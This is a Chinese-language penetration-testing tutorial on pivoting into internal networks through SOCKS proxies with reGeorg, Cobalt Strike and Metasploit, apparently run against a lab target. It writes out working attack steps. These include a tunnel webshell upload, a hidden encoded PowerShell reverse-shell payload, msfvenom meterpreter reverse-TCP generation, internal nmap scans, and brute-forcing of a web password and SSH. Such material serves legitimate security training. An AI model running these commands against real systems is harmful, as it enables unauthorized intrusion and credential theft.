摘要:在实际渗透过程中,当我们成功入侵了目标服务器,想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,进行进一步渗透测试时,可以用到今天要介绍的socks代理。socks在渗透测试中使用特别广泛,能够很方便地让我们与目标内网计算机之间通信,避免了一次又一次使用端口转发的麻烦。比较常见的socks5工具有htran,reGeorg等,socks4的有metasploit等,下面将逐一为大家介绍。
1 reGeorg+Proxifier代理工具
reGeorg是reDuh的继承者,利用了会话层的socks5协议,结合Proxifier使用效率更高,Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过SOCKS代理。下面提供了两个工具的下载地址:
reGeorg:https://github.com/sensepost/reGeorg
Neo-reGeorg:https://github.com/L-codes/Neo-reGeorg
Proxifier:https://proxifier.soft32.com/
Proxychains:https://sourceforge.net/projects/proxychains-ng/
下面将以php类型的网站环境为例给大家介绍如何通过reGeorg+Proxifier工具搭建代理,进行内网渗透。
(1) reGeorg工具安装
根据链接下载reGeorg代理工具,reGeorg代理工具是以python2为基础进行开发的,使用前需保证自己本地安装python2版本的环境并安装工具所需的urllib3库函数,详细安装过程如下图所示:
(2)添加reGeorg代理
根据当前目标网站可解析语言类型,选择所需上传的代理工具脚本,reGeorg 代理工具包含 PHP|JSP|ASPX|ASHX 等语言,该实验以 PHP 文件为例给大家进行介绍。
当我们通过浏览器访问上传的tunnel.nosocket.php文件时,当页面显示出Georg says, ‘All seems fine’表示代理工具能够正常解析运行。
在攻击机上使用 python2 运行 reGeorgSocksProxy.py 脚本配置代理,当程序执行结果显示 “Georg says, ‘All seems fine’” 表示该代理工具能够正常执行。
python reGeorgSocksProxy.py -u http://ip/tunnel.nosocket.php -p 9999
(3)访问内网
通过浏览器插件foxyProxy工具配置socket5代理访问内网:
当使用没有代理功能的工具对目标内网进行渗透时,可以使用Proxifier工具能够将程序通过socks代理对内网进行渗透。详细的使用过程如下所示:
打开Proxifier软件,单击Profile->Proxy Server->add 添加本地主机的代理端口。协议选择socks5类型,可以点击check进行测试当前代理是否成功。
接下来,通过proxification Rules添加规则,此处添加firfox可执行文件,添加完成以后该工具的通讯流量会经过socks5代理工具进行传输,执行结果如下所示,可以通过firefox访问目标网站。
也可以通过proxification添加规则,添加御剑后台扫描工具,对目标网站目录进行暴力破解。
注:reGeorg代理工具中的 tunnel.nosocket.php 脚本适用于 php5.4< tunnel.nosocket.php< php7 的环境
2 reGeorg+proxychains代理工具
在上一节介绍了windows系统环境下使用Proxifier作为客户端,进行内网渗透,接下来将给大家介绍linux系统环境下使用proxychains作为客户端,对内网进行渗透测试。reGeorg的使用方式与上一节相同,此处对reGeorg使用不进行详细介绍。在linux系统下对目标配置好reGeorg代理,执行过程如下所示:
python reGeorgSocksProxy.py -u http://192.168.43.175/tunnel.nosocket.php -p 9999
在建立好reGeorg代理工具以后,需要配置proxychains.conf文件,在文件最后添加“socks5 127.0.0.1 9999”,如下图所示:
通过reGeorg代理工具,对目标内网主机进行端口扫描,具体执行过程如下图所示:
>>> proxychains nmap -sT -Pn 10.128.0.6
3 CobaltStrike代理
本次所使用的攻击机为kali linux系统,攻击过程中涉及到的工具主要有:proxychains,nmap等。攻击的拓扑结构如下图所示。
(1)反弹shell
首先启动CobaltStrike的服务端,并执行命令如下所示:
>>> ./teamserver 192.168.43.137 xxxxxx
启动Cobaltstrike的客户端,并填写运行服务端的ip地址,端口号,用户名,及在服务端设置的密码口令。
进入CobaltStrike客户端控制面板以后,依次点击Attacks>Payload Generator选项,设置监听以及生成payload。
点击Add选项后,设置监听方式及监听的端口号,输出方式选择Powershell Command。
如下为生成的powershell形式的payload。
将复制的payload在目标服务器主机上执行,如下所示:
powershell -nop -w hidden -encodedcommand JABzAD0A******************
执行结束后,成功反弹目标主机的交互式shell。此处可以执行sleep 0设置与目标交互的时间周期。执行shell whoami命令,可对目标主机执行远程命令。
(2)添加sock4代理
在获得了基础的交互shell以后,选择该beacon右键,依次点击Pivoting->SOCKS Server选项,并设定相应的端口号,此处系统默认的端口号为23612。
通过火狐浏览器安装proxy扩展插件,并设定socks代理,配置完成以后,便可以成功访问到内网主机192.168.237.129的web应用,相关配置如下所示:
我们也可以应用 proxychains 工具,进行内网探测,使用编辑器在文件/etc/proxychains.conf 的最后一行加入 socks4 代理的配置信息。
— snippet — [ProxyList] # add proxy here … # meanwile # defaults set to “tor” socks4 127.0.0.1 23612 |
通过执行代理工具 proxychains,对内网主机 ip 地址为192.168.237.127进行端口探测。执行指令如下所示:
>>> proxychains nmap -sT -Pn 192.168.237.129
4 msf代理
本次所使用的攻击机为kali linux系统,攻击过程中涉及到的工具主要有:中国菜刀/中国蚂剑,burpsuite,metasploit,MobaXterm,一句话木马,proxychains,nmap等。攻击的拓扑结构如下图所示。
(1)反弹Payload
攻击机进行监听设置(注意:监听主机设置需要与生成的payload保持一致):
>>> use exploit/multi/handler>>> set payloads linux/x64/meterpreter_reverse_tcp>>> set LHOST 192.168.124.15 #监听主机ip地址>>> set PORT 9999 #监听主机端口号>>> exploit -j
生成反弹需要的payload文件:
>>> msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=IP LPORT =PORT -f elf > shell.elf
将生成的文件上传到目标主机,并更改payload可执行权限,并执行。
>>> chmod 777 shell.elf >>> ./shell.elf
在攻击端,监听的主机收到目标主机反弹的shell权限,如下图所示:
(2)添加代理
此时需要我们对内网的web应用网站进行渗透攻击,此时为了能够访问到内网,需要进行添加代理操作。查看当前路由有一个内网段ip地址段位172.17.0.0/24。
执行指令添加路由操作。
>>> run autoroute -s 172.17.0.0/24
添加socks5代理:
>>> use auxiliary/server/socks5>>> run
此处应用proxychains工具,进行内网探测,使用编辑器在文件/etc/proxychains.conf的最后一行加入socks5代理的配置信息。
— snippet — [ProxyList] # add proxy here … # meanwile # defaults set to “tor” socks5 127.0.0.1 1080 |
(3)内网探测
通过执行代理工具proxychains,对Moriarty Corp内网web服务进行探测,可以发现主机ip地址为172.17.0.4。执行指令如下所示:
>>> Proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T 4 -p80
(4)暴力破解
此时通过浏览器是不能访问到内网服务器,需要在浏览器配置代理进行访问,配置代理类型选择socks5,本地端口为1080。配置好以后,就能通过代理访问内网web应用了。
通过浏览页面可发现,为一个文件上传页面,但是上传需要输入口令,方可操作成功。此时考虑可通过burpsuite进行拦截后,口令破解。
打开burpsuite后,需要添加代理,这样才能将拦截到的数据正确发送到目标服务器,配置过程如下所示:
对拦截的数据更改口令字段,添加常用字典,此处用的字典为:top1000.txt。查看破解成功字段的真实口令为password。
(5)SSH弱口令
对内网的22端口进行探测,发现主机172.17.0.8开放22端口,并对该内网主机进行ssh弱口令猜解。
>>> proxychains nmap -sV -t -Pn -p22 127.17.0.0/24
通过第三方工具MobaXterm添加代理后,远程连接到内网主机,具体操作过程如下所示:
本文作者:中国电信安全帮攻防团队 吴涛
来源:freebuf.com 2020-10-26 14:38:22 by: 安全帮anquanbang
请登录后发表评论
注册